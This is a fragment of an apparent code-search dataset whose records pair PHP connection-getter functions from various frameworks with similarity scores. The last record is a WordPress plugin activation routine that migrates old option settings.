"a2a3f3091b6f5664de34a1456d0f8be9", "score": "0.76559097", "text": "public function connection($name = null)\n {\n [$database, $type] = $this->parseConnectionName($name);\n\n $name = $name ?: $database;\n\n // If we haven't created this connection, we'll create it based on the config\n // provided in the application. Once we've created the connections we will\n // set the \"fetch mode\" for PDO which determines the query return types.\n if (! isset($this->connections[$name])) {\n $this->connections[$name] = $this->configure(\n $this->makeConnection($database), $type\n );\n }\n\n return $this->connections[$name];\n }", "title": "" }, { "docid": "52c004b099cf0b5790fbea6d6bd1c52b", "score": "0.76453483", "text": "public function getConnection( ?string $name = null ): Connection\n\t{\n\t\tif(empty($name))\n\t\t{\n\t\t\t$name = \"default\";\n\t\t}\n\n\t\tif( ! $this->isLoaded($name) )\n\t\t{\n\t\t\t$this->connections[$name] = $this->createConnection($name);\n\t\t}\n\n\t\treturn $this->connections[$name];\n\t}", "title": "" }, { "docid": "f9a36775060b5559f085b4d62d11baed", "score": "0.7628728", "text": "public function connection(string $name = null): Connection\n {\n $name = $name ?: $this->getDefaultConnection();\n if (!isset($this->connections[$name])) {\n $this->connections[$name] = $this->makeConnection($name);\n }\n return $this->connections[$name];\n }", "title": "" }, { "docid": "33d78bb7114d4e5ebc15c99d434903ec", "score": "0.7611166", "text": "public function connection($name)\n {\n if (!array_key_exists($name, $this->connections)) {\n throw new ConnectionException(\n 'Unknown connection \"'.$name.'\"',\n ConnectionException::UNKNOWN_CONNECTION\n );\n }\n\n if (!array_key_exists($name, $this->builtConnections)) {\n $this->builtConnections[$name] = DriverManager::getConnection(\n $this->connections[$name]['params'],\n $this->connections[$name]['config']\n );\n }\n\n return $this->builtConnections[$name];\n }", "title": "" }, { "docid": "78b80c1f588ec8affc8c120516e1d743", "score": "0.7462131", "text": "public static function getDbConnection($name = \"\")\n\t{\n\t\t$pool = Application::getInstance()->getDbConnectionPool();\n\t\treturn $pool->getConnection($name);\n\t}", "title": "" }, { "docid": "5597ed7cb79edfe92d3b6dcc02e1dbd6", "score": "0.738141", "text": "final public function getConnection($connectionName = null)\n\t{\n\t\tif (!$connectionName) {\n\t\t\treturn current($this->getInitializedConnections());\n\t\t}\n\n\t\t$connections = $this->getInitializedConnections();\n\t\tif (empty($connections[$connectionName])) {\n\t\t\tthrow new \\Exception(\"Invalid connection name {$connectionName}\");\n\t\t}\n\n\t\treturn $connections[$connectionName];\n\t}", "title": "" }, { "docid": "db82d9356858de6cc6e27ca647af6852", "score": "0.73699546", "text": "public function connection($name = null)\n\t{\n\t\tif (!$name)\n\t\t\treturn $this->defaultConnection();\n\n\t\tif (!isset($this->_connections[$name]))\n\t\t\tthrow new EmailException(\"Can't get email connection {$name}, doesn't exist.\");\n\n\t\treturn $this->_connections[$name];\n\t}", "title": "" }, { "docid": "bcf507f9a947f1cb66282e6cebc4ab6a", "score": "0.7087449", "text": "public static function getConnection($connectionName) {\n if (!array_key_exists($connectionName, self::$connectionCache)) {\n self::$connectionCache[$connectionName] = One_Store_Connection_Reader_Xml::load($connectionName);\n }\n\n return self::$connectionCache[$connectionName];\n }", "title": "" }, { "docid": "cc0d66b866de7f17f264da0d0c5162fe", "score": "0.7049814", "text": "protected function _getConnection($connectionName = \\Magento\\Framework\\App\\ResourceConnection::DEFAULT_CONNECTION)\n {\n /** @var $resource \\Magento\\Framework\\App\\ResourceConnection */\n $resource = \\Magento\\TestFramework\\Helper\\Bootstrap::getObjectManager()\n ->get(\\Magento\\Framework\\App\\ResourceConnection::class);\n return $resource->getConnection($connectionName);\n }", "title": "" }, { "docid": "ca5da0fbe5a28fb0b53776e2c6d4b5f4", "score": "0.698681", "text": "public static function connection($name = 'default'){\r\n return \\Illuminate\\Redis\\Database::connection($name);\r\n }", "title": "" }, { "docid": "a9903ac8e675c16e992804407e92cf78", "score": "0.6977083", "text": "public function connection(?string $name = null): ConnectionInterface\n {\n if (is_null($name)) {\n $name = $this->getDefaultConnection();\n }\n\n $connection = null;\n $id = $this->getContextKey($name);\n if (Context::has($id)) {\n $connection = Context::get($id);\n }\n\n if (! $connection instanceof ConnectionInterface) {\n $pool = $this->factory->getPool($name);\n $connection = $pool->get();\n try {\n // PDO is initialized as an anonymous function, so there is no IO exception,\n // but if other exceptions are thrown, the connection will not return to the connection pool properly.\n $connection = $connection->getConnection();\n Context::set($id, $connection);\n } finally {\n if (Coroutine::inCoroutine()) {\n defer(function () use ($connection, $id) {\n Context::set($id, null);\n $connection->release();\n });\n }\n }\n }\n\n return $connection;\n }", "title": "" }, { "docid": "3dc60a1b853a0b09820e17f7e8dcf758", "score": "0.69508857", "text": "static public function getConnection ($connectionName = NULL) {\n Assert::isString($connectionName, TRUE);\n \n if ($connectionName === NULL) {\n $connectionName = self::$_activeConnection;\n }\n\n if (isset(self::$_connections[$connectionName])) {\n return self::$_connections[$connectionName]['connection'];\n }\n\n throw new Database_Exception('Database connection could not be found');\n }", "title": "" }, { "docid": "da46e7ad342f70584dbb531a6186296d", "score": "0.69482845", "text": "public function getConnection(?string $name = null);", "title": "" }, { "docid": "da46e7ad342f70584dbb531a6186296d", "score": "0.69482845", "text": "public function getConnection(?string $name = null);", "title": "" }, { "docid": "9aa1f01b9fe52deabbd6eadb93965a46", "score": "0.6917578", "text": "protected function makeConnection(string $name): Connection\n {\n $config = $this->getConfig($name);\n return $this->factory->make($config, $name);\n }", "title": "" }, { "docid": "f329071005e2bf89248715af7651f8af", "score": "0.6905314", "text": "public function connection($name = null);", "title": "" }, { "docid": "f329071005e2bf89248715af7651f8af", "score": "0.6905314", "text": "public function connection($name = null);", "title": "" }, { "docid": "7030f586c537b9f69952d6bab1ffb7c1", "score": "0.68985206", "text": "public function getConnection()\n\t{\n\t\treturn static::resolveConnection($this->getConnectionName());\n\t}", "title": "" }, { "docid": "bdf81b711f0f5a2f0891809b6545d43c", "score": "0.6850314", "text": "public function connection(string $name = null): Connection\n {\n return $this->db->connection($name);\n }", "title": "" }, { "docid": "36565c73a3540ee5565dc98aca2c1ec8", "score": "0.6782649", "text": "public function connection(string $name = null): MqttClientContract\n {\n if ($name === null) {\n $name = $this->defaultConnection;\n }\n\n // Remove the connection if it is in a disconnected state.\n // Doing this instead of simply reconnecting ensures the caller will get a fresh connection.\n if (array_key_exists($name, $this->connections) && !$this->connections[$name]->isConnected()) {\n unset($this->connections[$name]);\n }\n\n if (!array_key_exists($name, $this->connections)) {\n $this->connections[$name] = $this->createConnection($name);\n }\n\n return $this->connections[$name];\n }", "title": "" }, { "docid": "432c26bac7eff97c203b2217e79d6160", "score": "0.67809755", "text": "protected function getDbConnectionName($name) {\n\t\t\tif (!$name)\n\t\t\t\treturn $this->getDatabaseManager()->getDefaultConnection();\n\n\t\t\treturn $name;\n\t\t}", "title": "" }, { "docid": "b7e884011508fdadf2b3ab6771559080", "score": "0.6780757", "text": "public function getConnection()\n {\n return static::resolveConnection($this->getConnectionName());\n }", "title": "" }, { "docid": "e57ed17cab3204914711f0493516d9dd", "score": "0.6767446", "text": "public function connection($connectionName);", "title": "" }, { "docid": "97393191df7466a3bac0bd668eeef92c", "score": "0.6735977", "text": "protected function makeConnection($name)\n {\n $config = $this->configuration($name);\n\n // First we will check by the connection name to see if an extension has been\n // registered specifically for that connection. If it has we will call the\n // Closure and pass it the config allowing it to resolve the connection.\n if (isset($this->extensions[$name])) {\n return call_user_func($this->extensions[$name], $config, $name);\n }\n\n // Next we will check to see if an extension has been registered for a driver\n // and will call the Closure if so, which allows us to have a more generic\n // resolver for the drivers themselves which applies to all connections.\n if (isset($this->extensions[$driver = $config['driver']])) {\n return call_user_func($this->extensions[$driver], $config, $name);\n }\n\n return $this->factory->make($config, $name);\n }", "title": "" }, { "docid": "515b28d13f17452cef70898e2696f00a", "score": "0.6698742", "text": "public static function connection($name = null)\n {\n $container = ApplicationContext::getContainer();\n $resolver = $container->get(ConnectionResolverInterface::class);\n return $resolver->connection($name)->getSchemaBuilder();\n }", "title": "" }, { "docid": "fb7ddeb27191b33fa04201c7da39396a", "score": "0.6671356", "text": "protected function checkConnectionNameExists($name)\n\t{\n\t\tforeach ($this->elements['connections'] as $key => $conn) {\n\t\t\tif ($conn->getName() == $name)\n\t\t\t\treturn $conn;\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "49f6fa129b6ada10ea6bd8c70cc6c6e5", "score": "0.6611538", "text": "public function get($name, $optParams = [])\n {\n $params = ['name' => $name];\n $params = array_merge($params, $optParams);\n return $this->call('get', [$params], PrivateConnection::class);\n }", "title": "" }, { "docid": "1829f3cfbe840be65822d0d7ed446304", "score": "0.6599092", "text": "public static function connection($name = null){\n\t\treturn \\Illuminate\\Queue\\QueueManager::connection($name);\n\t}", "title": "" }, { "docid": "e0b941ffd8bf1ddb77a562f10f3222db", "score": "0.65723306", "text": "public function connection($name = null)\n {\n\n if ( ! isset($this->clients[$name]))\n {\n $this->clients[$name] = new ThriftClient($this->getClientOptions($name));\n }\n\n return $this->clients[$name];\n }", "title": "" }, { "docid": "dcf388310b4f978da1cb3ecc4ae1f9d2", "score": "0.656005", "text": "public static function getConnection($type,$name) {\n if(!isset(self::$config)) {\n throw new Exception(\"No config object\");\n } else if(!isset(self::$connections)) {\n self::$connections = [];\n }\n if(!isset(self::$connections[$type])) {\n self::$connections[$type] = [];\n }\n if(!isset(self::$connections[$type][$name])) {\n if(!isset(self::$config[$type])) {\n throw new \\Exception(\"No config for connection type: $type\");\n } else if(!isset(self::$config[$type][$name])) {\n throw new \\Exception(\"No config for named connection name '$name' for type '$type'\");\n }\n switch ($type) {\n case \"SQL\":\n self::$connections[$type][$name] = (new \\medoo(self::$config[$type][$name]))->pdo;\n self::$connections[$type][$name]->setAttribute(\\PDO::ATTR_DEFAULT_FETCH_MODE, \\PDO::FETCH_ASSOC);\n break;\n default:\n throw new Exception(\"No connection type defined for type: $type\");\n }\n } \n return self::$connections[$type][$name]; \n }", "title": "" }, { "docid": "c15a591b721122e2c76f4e79b0093ebc", "score": "0.65309614", "text": "public function reconnect($name = null)\n {\n $this->disconnect($name = $name ?: $this->getDefaultConnection());\n\n if (! isset($this->connections[$name])) {\n return $this->connection($name);\n }\n\n return $this->refreshPdoConnections($name);\n }", "title": "" }, { "docid": "03e484be0b56ff612b0fdceddff96054", "score": "0.64928615", "text": "public function setConnection($name)\n {\n $this->connection = $name;\n\n return $this;\n }", "title": "" }, { "docid": "e7947ae0b0d2c581a1372d6ef598b0c7", "score": "0.649137", "text": "protected function getConnectionData($name)\n {\n $knownConnections = $this->getContainer()->getParameter('propel.configuration');\n if (!isset($knownConnections['database']['connections'][$name])) {\n throw new \\InvalidArgumentException(sprintf('Unknown connection \"%s\"', $name));\n }\n\n return $knownConnections['database']['connections'][$name];\n }", "title": "" }, { "docid": "bdb8709c53eb185a1ccd61c7e8bd2fb9", "score": "0.6485042", "text": "public function getConnection()\n\t{\n\t\tif(isset($this->connection))\n\t\t\treturn $this->connection;\n\t\telse\n\t\t\treturn Connection::get();\n\t}", "title": "" }, { "docid": "fac2d7743e033e16cd3c7fc893659e06", "score": "0.6457549", "text": "public function getConnectionName()\n\t{\n\t\treturn $this->connection;\n\t}", "title": "" }, { "docid": "51de372c1af8b0ce73e86c022cf24b8c", "score": "0.64433527", "text": "public function getConnection()\n {\n return static::resolveConnection($this->connection);\n }", "title": "" }, { "docid": "8d864c97cc4a45f0da641067fc3384b4", "score": "0.63821554", "text": "public function connection(string $connectionName = 'local'): Connection\n {\n if (!isset($this->database[$connectionName])) {\n throw new \\InvalidArgumentException(\"Database $connectionName doesn't exists.\");\n }\n\n try {\n\n $database = $this->database[$connectionName];\n $engine = $database['engine']; \n $host = $database['host'];\n $name = $database['name'];\n $user = $database['user']; \n $password = $database['password'];\n $charset = $database['charset'];\n $options = $database['options'];\n $dsn = $engine.':dbname='.$name.\";host=\".$host.\";charset=\".$charset;\n \n if (array_key_exists($connectionName, $this->connections)) {\n return $this->connections[$connectionName];\n }\n\n $pdo = new \\PDO($dsn, $user, $password, $options);\n $connection = new Connection($pdo);\n $this->connections[$connectionName] = $connection;\n return $connection;\n \n } catch (\\PDOException $e) {\n throw new \\PDOException($e->getMessage());\n }\n }", "title": "" }, { "docid": "f887d5237733db7e2a360dbc6ad32d40", "score": "0.63425255", "text": "public static function connection($name = null){\r\n return \\Illuminate\\Queue\\QueueManager::connection($name);\r\n }", "title": "" }, { "docid": "f41e7bc6c3365be2a9458598cc959ae1", "score": "0.6322997", "text": "private static function getConnection()\n\t{\n\t\t$pool = Application::getInstance()->getConnectionPool();\n\t\t$connection = $pool->getConnection(static::CONNECTION_NAME);\n\t\tif (!$connection)\n\t\t{\n\t\t\t$connection = $pool->cloneConnection(\n\t\t\t\t$pool::DEFAULT_CONNECTION_NAME,\n\t\t\t\tstatic::CONNECTION_NAME\n\t\t\t);\n\t\t}\n\n\t\treturn $connection;\n\t}", "title": "" }, { "docid": "e603c724db42800842f41c5aaf9bcf82", "score": "0.63009113", "text": "protected function getConnectionKeyInContext($name)\n {\n return 'db.connections.'.$name;\n }", "title": "" }, { "docid": "3c2c8a2e8ce9b9e1ca7c1168c5725717", "score": "0.6297728", "text": "public function getConnectionName()\n {\n return $this->connection;\n }", "title": "" }, { "docid": "3c2c8a2e8ce9b9e1ca7c1168c5725717", "score": "0.6297728", "text": "public function getConnectionName()\n {\n return $this->connection;\n }", "title": "" }, { "docid": "3c2c8a2e8ce9b9e1ca7c1168c5725717", "score": "0.6297728", "text": "public function getConnectionName()\n {\n return $this->connection;\n }", "title": "" }, { "docid": "52e7392719764800b4523fc7732fb1f8", "score": "0.6255013", "text": "public function getConnectionName();", "title": "" }, { "docid": "52e7392719764800b4523fc7732fb1f8", "score": "0.6255013", "text": "public function getConnectionName();", "title": "" }, { "docid": "52e7392719764800b4523fc7732fb1f8", "score": "0.6255013", "text": "public function getConnectionName();", "title": "" }, { "docid": "736493e46c9947a60c1b7a630b4b1cb2", "score": "0.62516004", "text": "public function getConnectionById($id)\n\t{\n\t\tforeach ($this->elements['connections'] as $key => $conn) {\n\t\t\tif ($conn->getId() == $id)\n\t\t\t\treturn $conn;\n\t\t}\n\n\t\tthrow new \\Exception(\"Connection not found\", 404);\t\t\t\t\n\t}", "title": "" }, { "docid": "7c6dd382a45b47500d09c7f54910e5ec", "score": "0.62474036", "text": "public function getConnection()\n {\n if($this->_connection === null)\n {\n $conn = $this->_config()->getItem('connection');\n if($conn === null)\n {\n throw new ConnectionNotFoundException(\n \"No connection has been configured on this datastore\"\n );\n }\n $this->_connection = Dao::getDalResolver()->getConnection($conn);\n }\n return $this->_connection;\n }", "title": "" }, { "docid": "77236f2e2aa4b6fe8fb89deb6f6f260a", "score": "0.61923736", "text": "function getConnectionName() {\r\n\treturn $this->sConnName;\r\n\t}", "title": "" }, { "docid": "56de44182a41b86956a92fda8a50cc36", "score": "0.6182478", "text": "public function getConnection()\n {\n return $this->resolver->connection();\n }", "title": "" }, { "docid": "645edba20e777063b8f1987182544ad5", "score": "0.6182035", "text": "public function setConnection($name): static\n\t{\n\t\t$this->connection = $name;\n\t\t\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "12a50c985193c85413e232e44ec43107", "score": "0.6166097", "text": "protected function getConnection()\n\t{\n\t\tif ( ! $connection = $this->option('connection'))\n\t\t{\n\t\t\t$connection = $this->laravel['config']->get('database.default');\n\t\t}\n\n\t\tif ( ! array_key_exists($connection, $this->laravel['config']->get('database.connections')))\n\t\t{\n\t\t\t$this->error('Unable to use the given connection as it is not defined within the available connections.');\n\n\t\t\texit;\n\t\t}\n\n\t\treturn $this->laravel['db']->connection($connection);\n\t}", "title": "" }, { "docid": "c5beb52db8f68e4c39b7971515372aa3", "score": "0.6165087", "text": "public function byName($connName) {\n\t\t$connId = $this->getIdByName ( $connName );\n\t\tif (! $connId)\n\t\t\treturn $this->getDefault ();\n\t\treturn $this->byId ( $connId );\n\t}", "title": "" }, { "docid": "4aa16615b8c863d7be47ef92574efebf", "score": "0.61641437", "text": "public function getConnection()\n {\n return new Connection($this->config);\n }", "title": "" }, { "docid": "9dd25a0add8b16212ba2cf689db6c804", "score": "0.6160432", "text": "public function getConnection() {\n $this->checkConnection();\n return $this->connection;\n }", "title": "" }, { "docid": "6b2cfc4ddbd561e075a2f40a2d8fb888", "score": "0.6158523", "text": "public static function Get($name)\n\t{\n\t\tif (isset(self::$_databases[$name]))\n\t\t\treturn self::$_databases[$name];\n\t\telse\n\t\t{\n\t\t\t$conf=Config::Get('db');\n\t\t\tif (isset($conf->items[$name]))\n\t\t\t{\n\t\t\t\t$dsn=$conf->items[$name];\n\t\t\t\t\n\t\t\t\t$matches=array();\n\t\t\t\tif (preg_match_all('#([a-z]*)://(.*)#',$dsn,$matches))\n\t\t\t\t{\n\t\t\t\t\t$driver=$matches[1][0];\n\t\t\t\t\t\n\t\t\t\t\tuses('system.data.driver.database.'.$driver);\n\t\t\t\t\t\n\t\t\t\t\t$class=$driver.\"Database\";\n\t\t\t\t\t$db=new $class($dsn);\n\t\t\t\t\t\n\t\t\t\t\tself::$_databases[$name]=$db;\n\t\t\t\t\treturn $db;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tthrow new Exception(\"Cannot find database named '$name' in Config.\");\n\t\t}\n\t}", "title": "" }, { "docid": "979c8a39bb3614feb5f89ce77c582eaf", "score": "0.61427265", "text": "public function getConnector($name)\n {\n // Iterate over all connectors\n foreach ($this->getConnectors() as $connectorNode) {\n // If we found one with a matching URI we will return it\n if ($connectorNode->getName() === $name) {\n return $connectorNode;\n }\n }\n\n // Still here? Seems we did not find anything\n return false;\n }", "title": "" }, { "docid": "409043a7b3e997c5bf09d461b67e99da", "score": "0.61402553", "text": "public function connection($name = null)\n {\n if (is_null($this->queue)) {\n $this->queue = ($this->factory)();\n }\n\n return $this->queue;\n }", "title": "" }, { "docid": "5149de0095a4dad023f9104c36dc21f8", "score": "0.6139524", "text": "public static function getConnection(){\n \n if (!self::$connection){\n self::createConnection();\n }\n \n return self::$connection;\n }", "title": "" }, { "docid": "f1b1d4d1c0d75c90437e9aadd4dc4ed3", "score": "0.61188436", "text": "public function getConnection()\r\n {\r\n return Yii::$app->get($this->connection);\r\n }", "title": "" }, { "docid": "c00417ca34572c35ed1cc53739c96b45", "score": "0.61012614", "text": "public static function connect($config = [], $name = '0')\n\t{\n\t\treturn new Dibi\\Connection($config, $name);\n\t}", "title": "" }, { "docid": "c671fe8117a2046d2262d9c1bec75fbb", "score": "0.60883695", "text": "public function connection(?string $name = null): QueueInterface\n {\n $name = $name ?? $this->getDefaultDriver();\n\n // If the connection has not been resolved yet we will resolve it now as all\n // of the connections are resolved when they are actually needed so we do\n // not make any unnecessary connection to the various queue end-points.\n if (!isset($this->connections[$name])) {\n $this->connections[$name] = $this->resolve($name);\n }\n\n return $this->connections[$name];\n }", "title": "" }, { "docid": "b78e22becfdf068b762ba6edc08d1302", "score": "0.6082135", "text": "public function getConnection(): string\n {\n return $this->connection;\n }", "title": "" }, { "docid": "d00ae0bac38ca238537d0b03fd1edcb8", "score": "0.6071923", "text": "public function GetConnection()\n\t\t{\n\t\t\treturn $this->conn;\n\t\t}", "title": "" }, { "docid": "5e656a57fee72a0c5158a0e3b7dd8d0c", "score": "0.6054909", "text": "public static function getConnection()\n {\n return Connection::getInstance()->getConnection();\n }", "title": "" }, { "docid": "e262a90a1e60832d62bbf8c34307cfda", "score": "0.60507935", "text": "public function getConnection() {\n\t\treturn $this->connection;\n\t}", "title": "" }, { "docid": "06d008286e391c1666639b5c89345775", "score": "0.6050746", "text": "public function getConnection()\n\t{\n\t\treturn $this->connection;\n\t}", "title": "" }, { "docid": "06d008286e391c1666639b5c89345775", "score": "0.6050746", "text": "public function getConnection()\n\t{\n\t\treturn $this->connection;\n\t}", "title": "" }, { "docid": "06d008286e391c1666639b5c89345775", "score": "0.6050746", "text": "public function getConnection()\n\t{\n\t\treturn $this->connection;\n\t}", "title": "" }, { "docid": "dd4886140b1a45d2de9a3c7d4a6a5175", "score": "0.6027771", "text": "public static function getConnection( ) {\n\t\tif (!self::$connection){\n\t\t\tself::getInstance()->setConnection();\n\t\t}\n\t\t\n\t\treturn self::$connection;\n\t}", "title": "" }, { "docid": "e2d86c65c4b4b541f0a947eca73a1e73", "score": "0.60194874", "text": "public function getConnection() {\n return DefaultConnector::getConnection();\n }", "title": "" }, { "docid": "90b3faa0d42903b7cc1c22e53fd876ed", "score": "0.6009752", "text": "public static function getConnection(){\n return Connection::$connection;\n }", "title": "" }, { "docid": "28e07a11717ac854c9dc188ec37693f3", "score": "0.60069805", "text": "public function getConnection()\n\t{\n\t\tif ( $this->connection == null )\n\t\t{\n\t\t\t$this->connection = $this->createConnection();\n\t\t}\n\t\t\n\t\treturn $this->connection;\n\t}", "title": "" }, { "docid": "a7a791e07bfc9363b3a51448594de4ae", "score": "0.60004944", "text": "public function getConnection()\n {\n return $this->connection;\n }", "title": "" }, { "docid": "a7a791e07bfc9363b3a51448594de4ae", "score": "0.60004944", "text": "public function getConnection()\n {\n return $this->connection;\n }", "title": "" }, { "docid": "a7a791e07bfc9363b3a51448594de4ae", "score": "0.60004944", "text": "public function getConnection()\n {\n return $this->connection;\n }", "title": "" }, { "docid": "a7a791e07bfc9363b3a51448594de4ae", "score": "0.60004944", "text": "public function getConnection()\n {\n return $this->connection;\n }", "title": "" }, { "docid": "a7a791e07bfc9363b3a51448594de4ae", "score": "0.60004944", "text": "public function getConnection()\n {\n return $this->connection;\n }", "title": "" }, { "docid": "a7a791e07bfc9363b3a51448594de4ae", "score": "0.60004944", "text": "public function getConnection()\n {\n return $this->connection;\n }", "title": "" }, { "docid": "a7a791e07bfc9363b3a51448594de4ae", "score": "0.60004944", "text": "public function getConnection()\n {\n return $this->connection;\n }", "title": "" }, { "docid": "a7a791e07bfc9363b3a51448594de4ae", "score": "0.60004944", "text": "public function getConnection()\n {\n return $this->connection;\n }", "title": "" }, { "docid": "a7a791e07bfc9363b3a51448594de4ae", "score": "0.60004944", "text": "public function getConnection()\n {\n return $this->connection;\n }", "title": "" }, { "docid": "a7a791e07bfc9363b3a51448594de4ae", "score": "0.60004944", "text": "public function getConnection()\n {\n return $this->connection;\n }", "title": "" }, { "docid": "a7a791e07bfc9363b3a51448594de4ae", "score": "0.60004944", "text": "public function getConnection()\n {\n return $this->connection;\n }", "title": "" }, { "docid": "a7a791e07bfc9363b3a51448594de4ae", "score": "0.60004944", "text": "public function getConnection()\n {\n return $this->connection;\n }", "title": "" }, { "docid": "a7a791e07bfc9363b3a51448594de4ae", "score": "0.60004944", "text": "public function getConnection()\n {\n return $this->connection;\n }", "title": "" }, { "docid": "a7a791e07bfc9363b3a51448594de4ae", "score": "0.60004944", "text": "public function getConnection()\n {\n return $this->connection;\n }", "title": "" }, { "docid": "a7a791e07bfc9363b3a51448594de4ae", "score": "0.60004944", "text": "public function getConnection()\n {\n return $this->connection;\n }", "title": "" }, { "docid": "3b93c5783379cba21b93a911d5126ae2", "score": "0.599909", "text": "public function reconnect(string $name = null): Connection\n {\n $name = $name ?: $this->getDefaultConnection();\n\n $this->disconnect($name);\n\n return $this->connection($name);\n }", "title": "" }, { "docid": "f0cb77b4d6b4b17125eaa88249628d7d", "score": "0.5982401", "text": "public function getConnection()\n {\n return self::$connection;\n }", "title": "" }, { "docid": "2da2600773357603e3516062d75c4e87", "score": "0.5978468", "text": "public function getConnection() {\n\t\treturn $this->_connection;\n\t}", "title": "" }, { "docid": "2da2600773357603e3516062d75c4e87", "score": "0.5978468", "text": "public function getConnection() {\n\t\treturn $this->_connection;\n\t}", "title": "" } ]
2443811892c78f867cfd79ea03f305bf
hook on plugin activate
[ { "docid": "b4cc96441578c60dbf604b76cc274629", "score": "0.0", "text": "public function plugin_activate()\r\n\t{\r\n\t\tupdate_option( 'vp-version', VP_VERSION );\r\n\t\t@unlink( $this->settings[ 'PLUGIN_DIR' ] . '/doupdate.txt' );\r\n\t\t@unlink( $this->settings[ 'PLUGIN_DIR' ] . '/toupdate.txt' );\r\n\t\t\r\n\t\tif( empty( $this->installed_version) ) {\r\n\t\t\t$this->register_tags();\r\n\t\t\t$this->register_pages();\r\n\t\t}\r\n\t\t\r\n\t\t$settings = array();\r\n\t\t\r\n\t\t/**\r\n\t\t * this means viralpress was installed before\r\n\t\t */\r\n\t\t \r\n\t\tif( get_option( 'vp-custom-profiles', -1 ) != -1 ) {\r\n\t\t\t$old = $this->load_old_settings();\r\n\t\t\tforeach( $old as $k => $v ) $settings[ $k ] = $v;\r\n\t\t\t\r\n\t\t\tdelete_option( 'vp-fb-app-id' );\r\n\t\t\tdelete_option( 'vp-google-oauth-id' );\r\n\t\t\tdelete_option( 'vp-google-api-key' );\r\n\t\t\tdelete_option( 'vp-auto-publish-post' );\r\n\t\t\tdelete_option( 'vp-show-fb-comments' );\r\n\t\t\tdelete_option( 'vp-share-buttons' );\r\n\t\t\tdelete_option( 'vp-custom-profiles' );\r\n\t\t\tdelete_option( 'vp-show-menu' );\r\n\t\t\tdelete_option( 'vp-block-admin' );\r\n\t\t\tdelete_option( 'vp-block-edits' );\r\n\t\t\tdelete_option( 'vp-disable-login' );\r\n\t\t\tdelete_option( 'vp-use-category' );\r\n\t\t\tdelete_option( 'vp-only-admin' );\r\n\t\t\tdelete_option( 'vp-show-reactions' );\r\n\t\t\tdelete_option( 'vp-show-menu-on' );\r\n\t\t\tdelete_option( 'vp-recap-key' );\r\n\t\t\tdelete_option( 'vp-recap-secret' );\r\n\t\t\tdelete_option( 'vp-recap-login' );\r\n\t\t\tdelete_option( 'vp-recap-post' );\r\n\t\t\tdelete_option( 'vp-anon-votes' );\r\n\t\t\tdelete_option( 'vp-share-quiz-force' );\r\n\t\t\tdelete_option( 'vp-allow-copy' );\r\n\t\t\tdelete_option( 'vp-allow-open-list' );\r\n\t\t\tdelete_option( 'vp-comments-per-list' );\r\n\t\t\t\r\n\t\t\tdelete_option( 'vp-allow-list' );\r\n\t\t\tdelete_option( 'vp-allow-quiz' );\r\n\t\t\tdelete_option( 'vp-allow-poll' );\r\n\t\t\tdelete_option( 'vp-allow-playlist' );\r\n\t\t\tdelete_option( 'vp-allow-gallery' );\r\n\t\t\tdelete_option( 'vp-self-video' );\r\n\t\t\tdelete_option( 'vp-self-audio' );\r\n\t\t\t\r\n\t\t\tdelete_option( 'vp-show-like-dislike' );\r\n\t\t\tdelete_option( 'vp-allowed-embeds' );\r\n\t\t\tdelete_option( 'vp-hotlink-image' );\r\n\t\t\tdelete_option( 'vp-bp-int' );\r\n\t\t\tdelete_option( 'vp-mycred-int' );\r\n\t\t\tdelete_option( 'vp-hide-vote' );\r\n\t\t\tdelete_option( 'vp-hide-vote-op' );\r\n\t\t\tdelete_option( 'vp-sort-op-vote' );\r\n\t\t}\r\n\t\t/**\r\n\t\t * else load default settings for new user\r\n\t\t */\r\n\t\telse if( get_option( 'vp-global-configs', -1 ) == -1 ){\r\n\t\t\t$settings['fb_app_id'] = '';\r\n\t\t\t$settings['google_oauth_id'] = '';\r\n\t\t\t$settings['google_api_key'] = '';\r\n\t\t\t$settings['auto_publish'] = 0;\r\n\t\t\t$settings['fb_comments'] = 0;\r\n\t\t\t$settings['share_buttons'] = 0;\r\n\t\t\t$settings['custom_profiles'] = 0;\r\n\t\t\t$settings['show_menu'] = 0;\r\n\t\t\t$settings['block_admin'] = 0;\r\n\t\t\t$settings['block_edits'] = 1;\r\n\t\t\t$settings['envato_username'] = '';\r\n\t\t\t$settings['envato_api_key'] = '';\r\n\t\t\t$settings['envato_purchase_code'] = '';\r\n\t\t\t$settings['disable_login'] = 1;\r\n\t\t\t$settings['use_category'] = 0;\r\n\t\t\t$settings['only_admin'] = 0;\r\n\t\t\t$settings['show_reactions'] = 0;\r\n\t\t\t$settings['show_menu_on'] = 'both';\r\n\t\t\t$settings['recap_key'] = '';\r\n\t\t\t$settings['recap_secret'] = '';\r\n\t\t\t$settings['recap_login'] = 0;\r\n\t\t\t$settings['recap_post'] = 0;\r\n\t\t\t$settings['load_recap'] = 0;\r\n\t\t\t$settings['anon_votes'] = 0;\r\n\t\t\t$settings['share_quiz_force'] = 0;\r\n\t\t\t$settings['allow_copy'] = 0;\r\n\t\t\t$settings['allow_open_list'] = 0;\r\n\t\t\t$settings['comments_per_list'] = 0;\r\n\t\t\t\r\n\t\t\t$settings['list_enabled'] = 1;\r\n\t\t\t$settings['quiz_enabled'] = 1;\r\n\t\t\t$settings['poll_enabled'] = 1;\r\n\t\t\t$settings['playlist_enabled'] = 1;\r\n\t\t\t$settings['gallery_enabled'] = 1;\r\n\t\t\t$settings['self_video'] = 0;\r\n\t\t\t$settings['self_audio'] = 0;\r\n\t\t\t\r\n\t\t\t$settings['show_like_dislike'] = 0;\r\n\t\t\t$settings['allowed_embeds'] = '';\r\n\t\t\t$settings['hotlink_image'] = 0;\r\n\t\t\t$settings['vp_bp'] = 0;\r\n\t\t\t$settings['vp_mycred'] = 0;\r\n\t\t\t$settings['hide_vote_buttons'] = 1;\r\n\t\t\t$settings['hide_vote_buttons_op'] = 0;\r\n\t\t\t$settings['sort_op_vote'] = 0;\r\n\t\t}\r\n\t\t/**\r\n\t\t * else load previous settings\r\n\t\t */\r\n\t\telse $settings = $this->configs;\r\n\t\t\r\n\t\t/*******\r\n\t\t * Put any new settings here\r\n\t\t ********/\r\n\t\t \r\n\t\tif( !isset( $this->configs['image_enabled'] ) ) $settings['image_enabled'] = 1;\r\n\t\tif( !isset( $this->configs['embed_enabled'] ) ) $settings['embed_enabled'] = 1;\r\n\t\tif( !isset( $this->configs['video_enabled'] ) ) $settings['video_enabled'] = 1;\r\n\t\tif( !isset( $this->configs['audio_enabled'] ) ) $settings['audio_enabled'] = 1;\r\n\t\tif( !isset( 